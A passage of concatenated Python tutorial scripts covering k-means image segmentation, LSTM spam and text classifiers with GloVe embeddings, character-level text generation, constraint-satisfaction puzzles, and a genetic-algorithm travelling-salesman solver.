batch_size) + + # train using the generators + model.fit_generator(train_generator, steps_per_epoch=training_steps_per_epoch, + validation_data=validation_generator, validation_steps=validation_steps_per_epoch, + epochs=epochs, verbose=1, callbacks=[tensorboard, checkpoint]) + + + + +import cv2 +import numpy as np +import matplotlib.pyplot as plt +import sys + +# read the image +image = cv2.imread(sys.argv[1]) + +# convert to RGB +image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB) + +# reshape the image to a 2D array of pixels and 3 color values (RGB) +pixel_values = image.reshape((-1, 3)) +# convert to float +pixel_values = np.float32(pixel_values) + +# define stopping criteria +criteria = (cv2.TERM_CRITERIA_EPS + cv2.TERM_CRITERIA_MAX_ITER, 100, 0.2) + +# number of clusters (K) +k = 3 +compactness, labels, (centers) = cv2.kmeans(pixel_values, k, None, criteria, 10, cv2.KMEANS_RANDOM_CENTERS) + +# convert back to 8 bit values +centers = np.uint8(centers) + +# flatten the labels array +labels = labels.flatten() + +# convert all pixels to the color of the centroids +segmented_image = centers[labels] + +# reshape back to the original image dimension +segmented_image = segmented_image.reshape(image.shape) + +# show the image +plt.imshow(segmented_image) +plt.show() + +# disable only the cluster number 2 (turn the pixel into black) +masked_image = np.copy(image) +# convert to the shape of a vector of pixel values +masked_image = masked_image.reshape((-1, 3)) +# color (i.e cluster) to disable +cluster = 2 +masked_image[labels == cluster] = [0, 0, 0] + +# convert back to original shape +masked_image = masked_image.reshape(image.shape) +# show the image +plt.imshow(masked_image) +plt.show() + + + + +import cv2 +import numpy as np + +cap = cv2.VideoCapture(0) +k = 5 + +# define stopping criteria +criteria = (cv2.TERM_CRITERIA_EPS + cv2.TERM_CRITERIA_MAX_ITER, 100, 0.2) + +while True: + # read the image + _, image = cap.read() + + # reshape the image to a 2D array of pixels and 3 color values (RGB) + pixel_values = image.reshape((-1, 3)) + # convert to float + pixel_values = np.float32(pixel_values) + + # number of clusters (K) + _, labels, (centers) = cv2.kmeans(pixel_values, k, None, criteria, 10, cv2.KMEANS_RANDOM_CENTERS) + + # convert back to 8 bit values + centers = np.uint8(centers) + + # convert all pixels to the color of the centroids + segmented_image = centers[labels.flatten()] + + # reshape back to the original image dimension + segmented_image = segmented_image.reshape(image.shape) + + # reshape labels too + labels = labels.reshape(image.shape[0], image.shape[1]) + + cv2.imshow("segmented_image", segmented_image) + # visualize each segment + + if cv2.waitKey(1) == ord("q"): + break + +cap.release() +cv2.destroyAllWindows() + + + + +# to use CPU uncomment below code +# import os +# os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 +# os.environ["CUDA_VISIBLE_DEVICES"] = "-1" + +# import tensorflow as tf + +# config = tf.ConfigProto(intra_op_parallelism_threads=5, +# inter_op_parallelism_threads=5, +# allow_soft_placement=True, +# device_count = {'CPU' : 1, +# 'GPU' : 0} +# ) + + +from keras.preprocessing.text import Tokenizer +from keras.preprocessing.sequence import pad_sequences +from keras.utils import to_categorical +from keras.callbacks import ModelCheckpoint, TensorBoard +from sklearn.model_selection import train_test_split +import time +import numpy as np +import pickle + +from utils import get_embedding_vectors, get_model, SEQUENCE_LENGTH, EMBEDDING_SIZE, TEST_SIZE +from utils import BATCH_SIZE, EPOCHS, int2label, label2int + + +def load_data(): + """ + Loads SMS Spam Collection dataset + """ + texts, labels = [], [] + with open("data/SMSSpamCollection") as f: + for line in f: + split = line.split() + labels.append(split[0].strip()) + texts.append(' '.join(split[1:]).strip()) + return texts, labels + + +# load the data +X, y = load_data() + +# Text tokenization +# vectorizing text, turning each text into sequence of integers +tokenizer = Tokenizer() +tokenizer.fit_on_texts(X) +# lets dump it to a file, so we can use it in testing +pickle.dump(tokenizer, open("results/tokenizer.pickle", "wb")) + +# convert to sequence of integers +X = tokenizer.texts_to_sequences(X) +print(X[0]) +# convert to numpy arrays +X = np.array(X) +y = np.array(y) +# pad sequences at the beginning of each sequence with 0's +# for example if SEQUENCE_LENGTH=4: +# [[5, 3, 2], [5, 1, 2, 3], [3, 4]] +# will be transformed to: +# [[0, 5, 3, 2], [5, 1, 2, 3], [0, 0, 3, 4]] +X = pad_sequences(X, maxlen=SEQUENCE_LENGTH) +print(X[0]) +# One Hot encoding labels +# [spam, ham, spam, ham, ham] will be converted to: +# [1, 0, 1, 0, 1] and then to: +# [[0, 1], [1, 0], [0, 1], [1, 0], [0, 1]] + +y = [ label2int[label] for label in y ] +y = to_categorical(y) + +print(y[0]) + +# split and shuffle +X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=TEST_SIZE, random_state=7) + +# constructs the model with 128 LSTM units +model = get_model(tokenizer=tokenizer, lstm_units=128) + +# initialize our ModelCheckpoint and TensorBoard callbacks +# model checkpoint for saving best weights +model_checkpoint = ModelCheckpoint("results/spam_classifier_{val_loss:.2f}", save_best_only=True, + verbose=1) +# for better visualization +tensorboard = TensorBoard(f"logs/spam_classifier_{time.time()}") +# print our data shapes +print("X_train.shape:", X_train.shape) +print("X_test.shape:", X_test.shape) +print("y_train.shape:", y_train.shape) +print("y_test.shape:", y_test.shape) +# train the model +model.fit(X_train, y_train, validation_data=(X_test, y_test), + batch_size=BATCH_SIZE, epochs=EPOCHS, + callbacks=[tensorboard, model_checkpoint], + verbose=1) + +# get the loss and metrics +result = model.evaluate(X_test, y_test) +# extract those +loss = result[0] +accuracy = result[1] +precision = result[2] +recall = result[3] + +print(f"[+] Accuracy: {accuracy*100:.2f}%") +print(f"[+] Precision: {precision*100:.2f}%") +print(f"[+] Recall: {recall*100:.2f}%") + + + + +import os +# os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 +# os.environ["CUDA_VISIBLE_DEVICES"] = "-1" + +# import tensorflow as tf + +# config = tf.ConfigProto(intra_op_parallelism_threads=5, +# inter_op_parallelism_threads=5, +# allow_soft_placement=True, +# device_count = {'CPU' : 1, +# 'GPU' : 0} +# ) +from utils import get_model, int2label, label2int +from keras.preprocessing.sequence import pad_sequences + +import pickle +import numpy as np + +SEQUENCE_LENGTH = 100 + +# get the tokenizer +tokenizer = pickle.load(open("results/tokenizer.pickle", "rb")) + +model = get_model(tokenizer, 128) +model.load_weights("results/spam_classifier_0.05") + +def get_predictions(text): + sequence = tokenizer.texts_to_sequences([text]) + # pad the sequence + sequence = pad_sequences(sequence, maxlen=SEQUENCE_LENGTH) + # get the prediction + prediction = model.predict(sequence)[0] + # one-hot encoded vector, revert using np.argmax + return int2label[np.argmax(prediction)] + + +while True: + text = input("Enter the mail:") + # convert to sequences + print(get_predictions(text)) + + + + +import tqdm +import numpy as np +from keras.preprocessing.sequence import pad_sequences +from keras.layers import Embedding, LSTM, Dropout, Dense +from keras.models import Sequential +import keras_metrics + +SEQUENCE_LENGTH = 100 # the length of all sequences (number of words per sample) +EMBEDDING_SIZE = 100 # Using 100-Dimensional GloVe embedding vectors +TEST_SIZE = 0.25 # ratio of testing set + +BATCH_SIZE = 64 +EPOCHS = 20 # number of epochs + +label2int = {"ham": 0, "spam": 1} +int2label = {0: "ham", 1: "spam"} + +def get_embedding_vectors(tokenizer, dim=100): + embedding_index = {} + with open(f"data/glove.6B.{dim}d.txt", encoding='utf8') as f: + for line in tqdm.tqdm(f, "Reading GloVe"): + values = line.split() + word = values[0] + vectors = np.asarray(values[1:], dtype='float32') + embedding_index[word] = vectors + + word_index = tokenizer.word_index + # we do +1 because Tokenizer() starts from 1 + embedding_matrix = np.zeros((len(word_index)+1, dim)) + for word, i in word_index.items(): + embedding_vector = embedding_index.get(word) + if embedding_vector is not None: + # words not found will be 0s + embedding_matrix[i] = embedding_vector + + return embedding_matrix + + +def get_model(tokenizer, lstm_units): + """ + Constructs the model, + Embedding vectors => LSTM => 2 output Fully-Connected neurons with softmax activation + """ + # get the GloVe embedding vectors + embedding_matrix = get_embedding_vectors(tokenizer) + model = Sequential() + model.add(Embedding(len(tokenizer.word_index)+1, + EMBEDDING_SIZE, + weights=[embedding_matrix], + trainable=False, + input_length=SEQUENCE_LENGTH)) + + model.add(LSTM(lstm_units, recurrent_dropout=0.2)) + model.add(Dropout(0.3)) + model.add(Dense(2, activation="softmax")) + # compile as rmsprop optimizer + # aswell as with recall metric + model.compile(optimizer="rmsprop", loss="categorical_crossentropy", + metrics=["accuracy", keras_metrics.precision(), keras_metrics.recall()]) + model.summary() + return model + + + + +from tensorflow.keras.callbacks import TensorBoard + +import os + +from parameters import * +from utils import create_model, load_20_newsgroup_data + +# create these folders if they does not exist +if not os.path.isdir("results"): + os.mkdir("results") + +if not os.path.isdir("logs"): + os.mkdir("logs") + +if not os.path.isdir("data"): + os.mkdir("data") + +# dataset name, IMDB movie reviews dataset +dataset_name = "20_news_group" +# get the unique model name based on hyper parameters on parameters.py +model_name = get_model_name(dataset_name) + +# load the data +data = load_20_newsgroup_data(N_WORDS, SEQUENCE_LENGTH, TEST_SIZE, oov_token=OOV_TOKEN) + +model = create_model(data["tokenizer"].word_index, units=UNITS, n_layers=N_LAYERS, + cell=RNN_CELL, bidirectional=IS_BIDIRECTIONAL, embedding_size=EMBEDDING_SIZE, + sequence_length=SEQUENCE_LENGTH, dropout=DROPOUT, + loss=LOSS, optimizer=OPTIMIZER, output_length=data["y_train"][0].shape[0]) + +model.summary() + +tensorboard = TensorBoard(log_dir=os.path.join("logs", model_name)) + +history = model.fit(data["X_train"], data["y_train"], + batch_size=BATCH_SIZE, + epochs=EPOCHS, + validation_data=(data["X_test"], data["y_test"]), + callbacks=[tensorboard], + verbose=1) + + +model.save(os.path.join("results", model_name) + ".h5") + + + + +from tensorflow.keras.layers import LSTM + +# max number of words in each sentence +SEQUENCE_LENGTH = 300 +# N-Dimensional GloVe embedding vectors +EMBEDDING_SIZE = 300 +# number of words to use, discarding the rest +N_WORDS = 10000 +# out of vocabulary token +OOV_TOKEN = None +# 30% testing set, 70% training set +TEST_SIZE = 0.3 +# number of CELL layers +N_LAYERS = 1 +# the RNN cell to use, LSTM in this case +RNN_CELL = LSTM +# whether it's a bidirectional RNN +IS_BIDIRECTIONAL = False +# number of units (RNN_CELL ,nodes) in each layer +UNITS = 128 +# dropout rate +DROPOUT = 0.4 +### Training parameters +LOSS = "categorical_crossentropy" +OPTIMIZER = "adam" +BATCH_SIZE = 64 +EPOCHS = 6 + +def get_model_name(dataset_name): + # construct the unique model name + model_name = f"{dataset_name}-{RNN_CELL.__name__}-seq-{SEQUENCE_LENGTH}-em-{EMBEDDING_SIZE}-w-{N_WORDS}-layers-{N_LAYERS}-units-{UNITS}-opt-{OPTIMIZER}-BS-{BATCH_SIZE}-d-{DROPOUT}" + if IS_BIDIRECTIONAL: + # add 'bid' str if bidirectional + model_name = "bid-" + model_name + if OOV_TOKEN: + # add 'oov' str if OOV token is specified + model_name += "-oov" + return model_name + + + + +from tensorflow.keras.callbacks import TensorBoard + +import os + +from parameters import * +from utils import create_model, load_imdb_data + +# create these folders if they does not exist +if not os.path.isdir("results"): + os.mkdir("results") + +if not os.path.isdir("logs"): + os.mkdir("logs") + +if not os.path.isdir("data"): + os.mkdir("data") + +# dataset name, IMDB movie reviews dataset +dataset_name = "imdb" +# get the unique model name based on hyper parameters on parameters.py +model_name = get_model_name(dataset_name) + +# load the data +data = load_imdb_data(N_WORDS, SEQUENCE_LENGTH, TEST_SIZE, oov_token=OOV_TOKEN) + +model = create_model(data["tokenizer"].word_index, units=UNITS, n_layers=N_LAYERS, + cell=RNN_CELL, bidirectional=IS_BIDIRECTIONAL, embedding_size=EMBEDDING_SIZE, + sequence_length=SEQUENCE_LENGTH, dropout=DROPOUT, + loss=LOSS, optimizer=OPTIMIZER, output_length=data["y_train"][0].shape[0]) + +model.summary() + +tensorboard = TensorBoard(log_dir=os.path.join("logs", model_name)) + +history = model.fit(data["X_train"], data["y_train"], + batch_size=BATCH_SIZE, + epochs=EPOCHS, + validation_data=(data["X_test"], data["y_test"]), + callbacks=[tensorboard], + verbose=1) + + +model.save(os.path.join("results", model_name) + ".h5") + + + + +from tensorflow.keras.preprocessing.sequence import pad_sequences +import numpy as np + +from parameters import * +from utils import create_model, load_20_newsgroup_data, load_imdb_data + +import pickle +import os + +# dataset name, IMDB movie reviews dataset +dataset_name = "imdb" +# get the unique model name based on hyper parameters on parameters.py +model_name = get_model_name(dataset_name) + +# data = load_20_newsgroup_data(N_WORDS, SEQUENCE_LENGTH, TEST_SIZE, oov_token=OOV_TOKEN) +data = load_imdb_data(N_WORDS, SEQUENCE_LENGTH, TEST_SIZE, oov_token=OOV_TOKEN) + +model = create_model(data["tokenizer"].word_index, units=UNITS, n_layers=N_LAYERS, + cell=RNN_CELL, bidirectional=IS_BIDIRECTIONAL, embedding_size=EMBEDDING_SIZE, + sequence_length=SEQUENCE_LENGTH, dropout=DROPOUT, + loss=LOSS, optimizer=OPTIMIZER, output_length=data["y_train"][0].shape[0]) + +model.load_weights(os.path.join("results", f"{model_name}.h5")) + + +def get_predictions(text): + sequence = data["tokenizer"].texts_to_sequences([text]) + # pad the sequences + sequence = pad_sequences(sequence, maxlen=SEQUENCE_LENGTH) + # get the prediction + prediction = model.predict(sequence)[0] + print("output vector:", prediction) + return data["int2label"][np.argmax(prediction)] + + +while True: + text = input("Enter your text: ") + prediction = get_predictions(text) + print("="*50) + print("The class is:", prediction) + + + + +from tqdm import tqdm + +import numpy as np +from tensorflow.keras.preprocessing.sequence import pad_sequences +from tensorflow.keras.layers import Dense, Dropout, LSTM, Embedding, Bidirectional +from tensorflow.keras.models import Sequential +from tensorflow.keras.preprocessing.text import Tokenizer +from tensorflow.keras.preprocessing.sequence import pad_sequences +from tensorflow.keras.utils import to_categorical +from sklearn.model_selection import train_test_split +from sklearn.datasets import fetch_20newsgroups + +from glob import glob +import random + + +def get_embedding_vectors(word_index, embedding_size=100): + embedding_matrix = np.zeros((len(word_index) + 1, embedding_size)) + with open(f"data/glove.6B.{embedding_size}d.txt", encoding="utf8") as f: + for line in tqdm(f, "Reading GloVe"): + values = line.split() + # get the word as the first word in the line + word = values[0] + if word in word_index: + idx = word_index[word] + # get the vectors as the remaining values in the line + embedding_matrix[idx] = np.array(values[1:], dtype="float32") + return embedding_matrix + + +def create_model(word_index, units=128, n_layers=1, cell=LSTM, bidirectional=False, + embedding_size=100, sequence_length=100, dropout=0.3, + loss="categorical_crossentropy", optimizer="adam", + output_length=2): + """ + Constructs a RNN model given its parameters + """ + embedding_matrix = get_embedding_vectors(word_index, embedding_size) + model = Sequential() + # add the embedding layer + model.add(Embedding(len(word_index) + 1, + embedding_size, + weights=[embedding_matrix], + trainable=False, + input_length=sequence_length)) + + for i in range(n_layers): + if i == n_layers - 1: + # last layer + if bidirectional: + model.add(Bidirectional(cell(units, return_sequences=False))) + else: + model.add(cell(units, return_sequences=False)) + else: + # first layer or hidden layers + if bidirectional: + model.add(Bidirectional(cell(units, return_sequences=True))) + else: + model.add(cell(units, return_sequences=True)) + model.add(Dropout(dropout)) + + model.add(Dense(output_length, activation="softmax")) + # compile the model + model.compile(optimizer=optimizer, loss=loss, metrics=["accuracy"]) + return model + + + +def load_imdb_data(num_words, sequence_length, test_size=0.25, oov_token=None): + # read reviews + reviews = [] + with open("data/reviews.txt") as f: + for review in f: + review = review.strip() + reviews.append(review) + + labels = [] + with open("data/labels.txt") as f: + for label in f: + label = label.strip() + labels.append(label) + + + # tokenize the dataset corpus, delete uncommon words such as names, etc. + tokenizer = Tokenizer(num_words=num_words, oov_token=oov_token) + tokenizer.fit_on_texts(reviews) + X = tokenizer.texts_to_sequences(reviews) + + X, y = np.array(X), np.array(labels) + + # pad sequences with 0's + X = pad_sequences(X, maxlen=sequence_length) + + # convert labels to one-hot encoded + y = to_categorical(y) + + # split data to training and testing sets + X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=test_size, random_state=1) + + data = {} + + data["X_train"] = X_train + data["X_test"]= X_test + data["y_train"] = y_train + data["y_test"] = y_test + data["tokenizer"] = tokenizer + data["int2label"] = {0: "negative", 1: "positive"} + data["label2int"] = {"negative": 0, "positive": 1} + + return data + + +def load_20_newsgroup_data(num_words, sequence_length, test_size=0.25, oov_token=None): + # load the 20 news groups dataset + # shuffling the data & removing each document's header, signature blocks and quotation blocks + dataset = fetch_20newsgroups(subset="all", shuffle=True, remove=("headers", "footers", "quotes")) + documents = dataset.data + labels = dataset.target + + tokenizer = Tokenizer(num_words=num_words, oov_token=oov_token) + tokenizer.fit_on_texts(documents) + X = tokenizer.texts_to_sequences(documents) + + X, y = np.array(X), np.array(labels) + + # pad sequences with 0's + X = pad_sequences(X, maxlen=sequence_length) + + # convert labels to one-hot encoded + y = to_categorical(y) + + # split data to training and testing sets + X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=test_size, random_state=1) + + data = {} + + data["X_train"] = X_train + data["X_test"]= X_test + data["y_train"] = y_train + data["y_test"] = y_test + data["tokenizer"] = tokenizer + + data["int2label"] = { i: label for i, label in enumerate(dataset.target_names) } + data["label2int"] = { label: i for i, label in enumerate(dataset.target_names) } + + return data + + + + +import numpy as np +import pickle +import tqdm +from keras.models import Sequential +from keras.layers import Dense, LSTM, Dropout, Activation +from keras.callbacks import ModelCheckpoint + + + +message = """ +Please choose which model you want to generate text with: +1 - Alice's wonderland +2 - Python Code +""" +choice = int(input(message)) +assert choice == 1 or choice == 2 + +if choice == 1: + char2int = pickle.load(open("data/wonderland-char2int.pickle", "rb")) + int2char = pickle.load(open("data/wonderland-int2char.pickle", "rb")) +elif choice == 2: + char2int = pickle.load(open("data/python-char2int.pickle", "rb")) + int2char = pickle.load(open("data/python-int2char.pickle", "rb")) + +sequence_length = 100 +n_unique_chars = len(char2int) + +# building the model +model = Sequential([ + LSTM(256, input_shape=(sequence_length, n_unique_chars), return_sequences=True), + Dropout(0.3), + LSTM(256), + Dense(n_unique_chars, activation="softmax"), +]) + +if choice == 1: + model.load_weights("results/wonderland-v2-0.75.h5") +elif choice == 2: + model.load_weights("results/python-v2-0.30.h5") + +seed = "" +print("Enter the seed, enter q to quit, maximum 100 characters:") +while True: + result = input("") + if result.lower() == "q": + break + seed += f"{result}\n" +seed = seed.lower() +n_chars = int(input("Enter number of characters you want to generate: ")) + +# generate 400 characters +generated = "" +for i in tqdm.tqdm(range(n_chars), "Generating text"): + # make the input sequence + X = np.zeros((1, sequence_length, n_unique_chars)) + for t, char in enumerate(seed): + X[0, (sequence_length - len(seed)) + t, char2int[char]] = 1 + # predict the next character + predicted = model.predict(X, verbose=0)[0] + # converting the vector to an integer + next_index = np.argmax(predicted) + # converting the integer to a character + next_char = int2char[next_index] + # add the character to results + generated += next_char + # shift seed and the predicted character + seed = seed[1:] + next_char + +print("Generated text:") +print(generated) + + + + +import tensorflow as tf +import numpy as np +import os +import pickle + +SEQUENCE_LENGTH = 200 +FILE_PATH = "data/python_code.py" +BASENAME = os.path.basename(FILE_PATH) + +text = open(FILE_PATH).read() +n_chars = len(text) +vocab = ''.join(sorted(set(text))) +print("vocab:", vocab) +n_unique_chars = len(vocab) +print("Number of characters:", n_chars) +print("Number of unique characters:", n_unique_chars) + +# dictionary that converts characters to integers +char2int = {c: i for i, c in enumerate(vocab)} +# dictionary that converts integers to characters +int2char = {i: c for i, c in enumerate(vocab)} + +# save these dictionaries for later generation +pickle.dump(char2int, open(f"{BASENAME}-char2int.pickle", "wb")) +pickle.dump(int2char, open(f"{BASENAME}-int2char.pickle", "wb")) + +encoded_text = np.array([char2int[c] for c in text]) + + + + +import tensorflow as tf +import numpy as np +import os +import pickle +from tensorflow.keras.models import Sequential +from tensorflow.keras.layers import Dense, LSTM, Dropout +from tensorflow.keras.callbacks import ModelCheckpoint +from string import punctuation + +sequence_length = 100 +BATCH_SIZE = 128 +EPOCHS = 30 +# dataset file path +FILE_PATH = "data/wonderland.txt" +# FILE_PATH = "data/python_code.py" +BASENAME = os.path.basename(FILE_PATH) + +# commented because already downloaded +# import requests +# content = requests.get("http://www.gutenberg.org/cache/epub/11/pg11.txt").text +# open("data/wonderland.txt", "w", encoding="utf-8").write(content) + +# read the data +text = open(FILE_PATH, encoding="utf-8").read() +# remove caps, comment this code if you want uppercase characters as well +text = text.lower() +# remove punctuation +text = text.translate(str.maketrans("", "", punctuation)) +# print some stats +n_chars = len(text) +vocab = ''.join(sorted(set(text))) +print("unique_chars:", vocab) +n_unique_chars = len(vocab) +print("Number of characters:", n_chars) +print("Number of unique characters:", n_unique_chars) + +# dictionary that converts characters to integers +char2int = {c: i for i, c in enumerate(vocab)} +# dictionary that converts integers to characters +int2char = {i: c for i, c in enumerate(vocab)} + +# save these dictionaries for later generation +pickle.dump(char2int, open(f"{BASENAME}-char2int.pickle", "wb")) +pickle.dump(int2char, open(f"{BASENAME}-int2char.pickle", "wb")) + +# convert all text into integers +encoded_text = np.array([char2int[c] for c in text]) +# construct tf.data.Dataset object +char_dataset = tf.data.Dataset.from_tensor_slices(encoded_text) +# print first 5 characters +for char in char_dataset.take(5): + print(char.numpy()) + +# build sequences by batching +sequences = char_dataset.batch(2*sequence_length + 1, drop_remainder=True) + +def split_sample(sample): + ds = tf.data.Dataset.from_tensors((sample[:sequence_length], sample[sequence_length])) + for i in range(1, (len(sample)-1) // 2): + input_ = sample[i: i+sequence_length] + target = sample[i+sequence_length] + other_ds = tf.data.Dataset.from_tensors((input_, target)) + ds = ds.concatenate(other_ds) + return ds + +def one_hot_samples(input_, target): + return tf.one_hot(input_, n_unique_chars), tf.one_hot(target, n_unique_chars) + +sentences = [] +y_train = [] +for i in range(0, len(text) - sequence_length): + sentences.append(text[i: i + sequence_length]) + y_train.append(text[i+sequence_length]) +print("Number of sentences:", len(sentences)) + +# vectorization +X = np.zeros((len(sentences), sequence_length, n_unique_chars)) +y = np.zeros((len(sentences), n_unique_chars)) + +for i, sentence in enumerate(sentences): + for t, char in enumerate(sentence): + X[i, t, char2int[char]] = 1 + y[i, char2int[y_train[i]]] = 1 + +print("X.shape:", X.shape) + +# building the model +# model = Sequential([ +# LSTM(128, input_shape=(sequence_length, n_unique_chars)), +# Dense(n_unique_chars, activation="softmax"), +# ]) + +# a better model (slower to train obviously) +model = Sequential([ + LSTM(256, input_shape=(sequence_length, n_unique_chars), return_sequences=True), + Dropout(0.3), + LSTM(256), + Dense(n_unique_chars, activation="softmax"), +]) + +# model.load_weights("results/wonderland-v2-2.48.h5") + +model.summary() +model.compile(loss="categorical_crossentropy", optimizer="adam", metrics=["accuracy"]) + +if not os.path.isdir("results"): + os.mkdir("results") + +checkpoint = ModelCheckpoint("results/wonderland-v2-{loss:.2f}.h5", verbose=1) + +# train the model +model.fit(X, y, batch_size=BATCH_SIZE, epochs=EPOCHS, callbacks=[checkpoint]) + + + + +from constraint import Problem, Domain, AllDifferentConstraint +import matplotlib.pyplot as plt +import numpy as np + + +def _get_pairs(variables): + work = list(variables) + pairs = [ (work[i], work[i+1]) for i in range(len(work)-1) ] + return pairs + +def n_queens(n=8): + + def not_in_diagonal(a, b): + result = True + for i in range(1, n): + result = result and ( a != b + i ) + return result + + problem = Problem() + variables = { f'x{i}' for i in range(n) } + problem.addVariables(variables, Domain(set(range(1, n+1)))) + problem.addConstraint(AllDifferentConstraint()) + for pair in _get_pairs(variables): + problem.addConstraint(not_in_diagonal, pair) + return problem.getSolutions() + + +def magic_square(n=3): + + def all_equal(*variables): + square = np.reshape(variables, (n, n)) + diagonal = sum(np.diagonal(square)) + b = True + for i in range(n): + b = b and sum(square[i, :]) == diagonal + b = b and sum(square[:, i]) == diagonal + if b: + print(square) + return b + + problem = Problem() + variables = { f'x{i}{j}' for i in range(1, n+1) for j in range(1, n+1) } + problem.addVariables(variables, Domain(set(range(1, (n**2 + 2))))) + problem.addConstraint(all_equal, variables) + problem.addConstraint(AllDifferentConstraint()) + return problem.getSolutions() + + + +def plot_queens(solutions): + for solution in solutions: + for row, column in solution.items(): + x = int(row.lstrip('x')) + y = column + plt.scatter(x, y, s=70) + plt.grid() + plt.show() + +if __name__ == "__main__": + # solutions = n_queens(n=12) + # print(solutions) + # plot_queens(solutions) + + solutions = magic_square(n=4) + for solution in solutions: + print(solution) + + + + +import numpy as np +import random +import operator +import pandas as pd +import matplotlib.pyplot as plt +import seaborn +from matplotlib import animation +from realtime_plot import realtime_plot +from threading import Thread, Event +from time import sleep + +seaborn.set_style("dark") + +stop_animation = Event() + +# def animate_cities_and_routes(): +# global route + +# def wrapped(): +# # create figure +# sleep(3) +# print("thread:", route) +# figure = plt.figure(figsize=(14, 8)) +# ax1 = figure.add_subplot(1, 1, 1) + +# def animate(i): +# ax1.title.set_text("Real time routes") +# for city in route: +# ax1.scatter(city.x, city.y, s=70, c='b') + +# ax1.plot([ city.x for city in route ], [city.y for city in route], c='r') + +# animation.FuncAnimation(figure, animate, interval=100) +# plt.show() +# t = Thread(target=wrapped) +# t.start() + +def plot_routes(initial_route, final_route): + _, ax = plt.subplots(nrows=1, ncols=2) + + for col, route in zip(ax, [("Initial Route", initial_route), ("Final Route", final_route) ]): + col.title.set_text(route[0]) + route = route[1] + for city in route: + col.scatter(city.x, city.y, s=70, c='b') + + col.plot([ city.x for city in route ], [city.y for city in route], c='r') + col.plot([route[-1].x, route[0].x], [route[-1].x, route[-1].y]) + + plt.show() + +def animate_progress(): + global route + global progress + global stop_animation + + def animate(): + # figure = plt.figure() + # ax1 = figure.add_subplot(1, 1, 1) + figure, ax1 = plt.subplots(nrows=1, ncols=2) + while True: + + ax1[0].clear() + ax1[1].clear() + + # current routes and cities + ax1[0].title.set_text("Current routes") + + + for city in route: + ax1[0].scatter(city.x, city.y, s=70, c='b') + + ax1[0].plot([ city.x for city in route ], [city.y for city in route], c='r') + ax1[0].plot([route[-1].x, route[0].x], [route[-1].y, route[0].y], c='r') + + # current distance graph + ax1[1].title.set_text("Current distance") + ax1[1].plot(progress) + ax1[1].set_ylabel("Distance") + ax1[1].set_xlabel("Generation") + + plt.pause(0.05) + + + if stop_animation.is_set(): + break + plt.show() + + Thread(target=animate).start() + + +class City: + def __init__(self, x, y): + self.x = x + self.y = y + + def distance(self, city): + """Returns distance between self city and city""" + x = abs(self.x - city.x) + y = abs(self.y - city.y) + return np.sqrt(x ** 2 + y ** 2) + + def __sub__(self, city): + return self.distance(city) + + def __repr__(self): + return f"({self.x}, {self.y})" + + def __str__(self): + return self.__repr__() + + +class Fitness: + def __init__(self, route): + self.route = route + + def distance(self): + distance = 0 + for i in range(len(self.route)): + from_city = self.route[i] + to_city = self.route[i+1] if i+i < len(self.route) else self.route[0] + distance += (from_city - to_city) + return distance + + def fitness(self): + return 1 / self.distance() + + +def generate_cities(size): + cities = [] + for i in range(size): + x = random.randint(0, 200) + y = random.randint(0, 200) + + if 40 < x < 160: + if 0.5 <= random.random(): + y = random.randint(0, 40) + else: + y = random.randint(160, 200) + elif 40 < y < 160: + if 0.5 <= random.random(): + x = random.randint(0, 40) + else: + x = random.randint(160, 200) + + cities.append(City(x, y)) + return cities + # return [ City(x=random.randint(0, 200), y=random.randint(0, 200)) for i in range(size) ] + + +def create_route(cities): + return random.sample(cities, len(cities)) + + +def initial_population(popsize, cities): + return [ create_route(cities) for i in range(popsize) ] + + +def sort_routes(population): + """This function calculates the fitness of each route in population + And returns a population sorted by its fitness in descending order""" + + result = [ (i, Fitness(route).fitness()) for i, route in enumerate(population) ] + return sorted(result, key=operator.itemgetter(1), reverse=True) + + +def selection(population, elite_size): + sorted_pop = sort_routes(population) + df = pd.DataFrame(np.array(sorted_pop), columns=["Index", "Fitness"]) + # calculates the cumulative sum + # example: + # [5, 6, 7] => [5, 11, 18] + df['cum_sum'] = df['Fitness'].cumsum() + # calculates the cumulative percentage + # example: + # [5, 6, 7] => [5/18, 11/18, 18/18] + # [5, 6, 7] => [27.77%, 61.11%, 100%] + df['cum_perc'] = 100 * df['cum_sum'] / df['Fitness'].sum() + + result = [ sorted_pop[i][0] for i in range(elite_size) ] + + for i in range(len(sorted_pop) - elite_size): + pick = random.random() * 100 + for i in range(len(sorted_pop)): + if pick <= df['cum_perc'][i]: + result.append(sorted_pop[i][0]) + break + return [ population[index] for index in result ] + + +def breed(parent1, parent2): + child1, child2 = [], [] + + gene_A = random.randint(0, len(parent1)) + gene_B = random.randint(0, len(parent2)) + + start_gene = min(gene_A, gene_B) + end_gene = max(gene_A, gene_B) + + for i in range(start_gene, end_gene): + child1.append(parent1[i]) + + child2 = [ item for item in parent2 if item not in child1 ] + return child1 + child2 + + +def breed_population(selection, elite_size): + pool = random.sample(selection, len(selection)) + + # for i in range(elite_size): + # children.append(selection[i]) + children = [selection[i] for i in range(elite_size)] + children.extend([breed(pool[i], pool[len(selection)-i-1]) for i in range(len(selection) - elite_size)]) + + # for i in range(len(selection) - elite_size): + # child = breed(pool[i], pool[len(selection)-i-1]) + # children.append(child) + + return children + + +def mutate(route, mutation_rate): + route_length = len(route) + for swapped in range(route_length): + if(random.random() < mutation_rate): + swap_with = random.randint(0, route_length-1) + route[swapped], route[swap_with] = route[swap_with], route[swapped] + return route + + +def mutate_population(population, mutation_rate): + return [ mutate(route, mutation_rate) for route in population ] + + +def next_gen(current_gen, elite_size, mutation_rate): + select = selection(population=current_gen, elite_size=elite_size) + children = breed_population(selection=select, elite_size=elite_size) + return mutate_population(children, mutation_rate) + + +def genetic_algorithm(cities, popsize, elite_size, mutation_rate, generations, plot=True, prn=True): + global route + global progress + + population = initial_population(popsize=popsize, cities=cities) + if plot: + animate_progress() + sorted_pop = sort_routes(population) + initial_route = population[sorted_pop[0][0]] + distance = 1 / sorted_pop[0][1] + if prn: + print(f"Initial distance: {distance}") + try: + if plot: + progress = [ distance ] + for i in range(generations): + population = next_gen(population, elite_size, mutation_rate) + sorted_pop = sort_routes(population) + distance = 1 / sorted_pop[0][1] + + progress.append(distance) + if prn: + print(f"[Generation:{i}] Current distance: {distance}") + route = 